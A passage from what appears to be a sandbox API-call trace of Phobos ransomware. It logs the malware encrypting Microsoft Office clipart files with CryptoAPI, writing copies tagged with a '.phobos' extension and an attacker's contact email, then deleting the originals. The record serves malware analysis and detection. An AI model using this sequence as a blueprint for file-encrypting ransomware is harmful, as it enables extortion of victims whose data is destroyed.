(in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc690) returned 1 [0061.972] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.972] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1e94, lpOverlapped=0x0) returned 1 [0062.031] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1ea0) returned 1 [0062.031] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1ea0, lpOverlapped=0x0) returned 1 [0062.032] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc50) returned 1 [0062.032] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.032] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.032] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0062.032] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.032] CryptDestroyKey (hKey=0x10dc690) returned 1 [0062.032] CloseHandle (hObject=0x300) returned 1 [0062.032] CloseHandle (hObject=0x338) returned 1 [0062.033] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0062.034] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.035] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=42908) returned 1 [0062.035] CloseHandle (hObject=0x338) returned 1 [0062.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0062.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.035] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.035] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.036] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc9d0) returned 1 [0062.036] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.036] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xa79c, lpOverlapped=0x0) returned 1 [0062.072] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa7a0, dwBufLen=0xa7a0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa7a0) returned 1 [0062.072] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xa7a0, lpOverlapped=0x0) returned 1 [0062.074] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc550) returned 1 [0062.074] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.074] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.074] CryptDestroyKey (hKey=0x10dc550) returned 1 [0062.074] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.074] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0062.074] CloseHandle (hObject=0x338) returned 1 [0062.074] CloseHandle (hObject=0x300) returned 1 [0062.075] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0062.077] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.077] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2952) returned 1 [0062.077] CloseHandle (hObject=0x300) returned 1 [0062.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0062.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.077] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.077] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.078] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc550) returned 1 [0062.078] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.078] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xb88, lpOverlapped=0x0) returned 1 [0062.142] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xb90, dwBufLen=0xb90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xb90) returned 1 [0062.142] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xb90, lpOverlapped=0x0) returned 1 [0062.143] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc850) returned 1 [0062.143] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.143] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.143] CryptDestroyKey (hKey=0x10dc850) returned 1 [0062.143] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.143] CryptDestroyKey (hKey=0x10dc550) returned 1 [0062.143] CloseHandle (hObject=0x300) returned 1 [0062.143] CloseHandle (hObject=0x338) returned 1 [0062.144] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0062.161] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.161] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=9992) returned 1 [0062.161] CloseHandle (hObject=0x338) returned 1 [0062.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0062.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.162] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.162] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.163] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc690) returned 1 [0062.163] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.163] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x2708, lpOverlapped=0x0) returned 1 [0062.175] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2710, dwBufLen=0x2710 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2710) returned 1 [0062.175] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2710, lpOverlapped=0x0) returned 1 [0062.176] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc650) returned 1 [0062.176] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.176] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.176] CryptDestroyKey (hKey=0x10dc650) returned 1 [0062.176] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.176] CryptDestroyKey (hKey=0x10dc690) returned 1 [0062.176] CloseHandle (hObject=0x338) returned 1 [0062.177] CloseHandle (hObject=0x300) returned 1 [0062.177] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0062.178] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.179] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=24588) returned 1 [0062.179] CloseHandle (hObject=0x300) returned 1 [0062.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0062.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.179] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.179] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.180] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc790) returned 1 [0062.180] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.180] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x600c, lpOverlapped=0x0) returned 1 [0062.194] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6010, dwBufLen=0x6010 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6010) returned 1 [0062.194] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x6010, lpOverlapped=0x0) returned 1 [0062.196] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0062.196] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.196] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.196] CryptDestroyKey (hKey=0x10dc610) returned 1 [0062.196] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.196] CryptDestroyKey (hKey=0x10dc790) returned 1 [0062.196] CloseHandle (hObject=0x300) returned 1 [0062.196] CloseHandle (hObject=0x338) returned 1 [0062.197] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0062.198] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.199] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=14820) returned 1 [0062.199] CloseHandle (hObject=0x338) returned 1 [0062.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0062.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.199] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.199] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0062.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.200] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc50) returned 1 [0062.200] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.200] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x39e4, lpOverlapped=0x0) returned 1 [0062.215] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x39f0, dwBufLen=0x39f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x39f0) returned 1 [0062.215] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x39f0, lpOverlapped=0x0) returned 1 [0062.216] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc950) returned 1 [0062.216] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0062.216] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0062.216] CryptDestroyKey (hKey=0x10dc950) returned 1 [0062.216] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0062.216] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0062.216] CloseHandle (hObject=0x338) returned 1 [0062.216] CloseHandle (hObject=0x300) returned 1 [0062.217] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0062.222] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0062.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 